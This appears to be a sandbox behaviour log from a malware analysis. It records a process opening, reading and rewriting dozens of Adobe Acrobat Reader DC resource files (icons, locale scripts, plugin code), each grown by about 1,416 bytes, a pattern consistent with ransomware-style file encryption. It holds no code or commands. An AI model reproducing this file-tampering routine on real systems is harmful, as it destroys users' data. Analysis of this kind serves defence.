File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-144x144-precomposed.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-144x144-precomposed.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-144x144-precomposed.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-144x144-precomposed.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\aic_file_icons_retina_thumb.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\aic_file_icons_retina_thumb.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\aic_file_icons_retina_thumb.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\aic_file_icons_retina_thumb.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_hiContrast_bow.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_hiContrast_bow.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_hiContrast_bow.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_hiContrast_bow.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\large_trefoil.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\large_trefoil.png, size = 2020, size_out = 2020	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\large_trefoil.png, size = 3436	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions.png, size = 1723, size_out = 1723	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\icons_ie8.gif, size = 3139	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-144x144-precomposed.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-144x144-precomposed.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-144x144-precomposed.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-144x144-precomposed.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\illustrations_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\illustrations_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\illustrations_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\illustrations_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner_dark2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner_dark2x.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner_dark2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner_dark2x.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-down.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-down.png, size = 297, size_out = 297	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-down.png, size = 1713	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-left.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-left.gif, size = 63, size_out = 63	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-left.gif, size = 1479	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-right.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-right.gif, size = 64, size_out = 64	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-right.gif, size = 1480	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\es-es\ui-strings.js, size = 3789, size_out = 3789	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\es-es\ui-strings.js, size = 5205	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nb-no\ui-strings.js, size = 3669, size_out = 3669	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nb-no\ui-strings.js, size = 5085	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\tr-tr\ui-strings.js, size = 3758, size_out = 3758	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\tr-tr\ui-strings.js, size = 5174	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\de-de\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\de-de\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\de-de\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hu-hu\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hu-hu\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hu-hu\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ru-ru\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ru-ru\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ru-ru\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ca-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ca-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ca-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-fr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-fr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-fr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pt-br\ui-strings.js, size = 8079, size_out = 8079	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pt-br\ui-strings.js, size = 9495	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-cn\ui-strings.js, size = 7244, size_out = 7244	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-cn\ui-strings.js, size = 8660	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\icons_ie8.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\icons_ie8.gif, size = 8151, size_out = 8151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\icons_ie8.gif, size = 9567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-gb\ui-strings.js, size = 823, size_out = 823	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ru-ru\ui-strings.js, size = 2239	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ja-jp\ui-strings.js, size = 2029, size_out = 2029	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ja-jp\ui-strings.js, size = 3445	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sl-si\ui-strings.js, size = 1818, size_out = 1818	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sl-si\ui-strings.js, size = 3234	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\js\plugin.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\js\plugin.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\js\plugin.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fr-fr\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fr-fr\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fr-fr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fr-fr\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-tool-view.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-tool-view.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-tool-view.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-tool-view.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-tool-view.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\selector.js, size = 2453, size_out = 2453	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\selector.js, size = 3869	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\example_icons2x.png, size = 1185, size_out = 1185	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\example_icons2x.png, size = 2601	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-il\ui-strings.js, size = 1115, size_out = 1115	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-il\ui-strings.js, size = 2531	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ko-kr\ui-strings.js, size = 1125, size_out = 1125	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ko-kr\ui-strings.js, size = 2541	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sv-se\ui-strings.js, size = 1119, size_out = 1119	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sv-se\ui-strings.js, size = 2535	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\main.css, size = 4718, size_out = 4718	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\main.css, size = 6134	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png, size = 1968	1	Fn Data
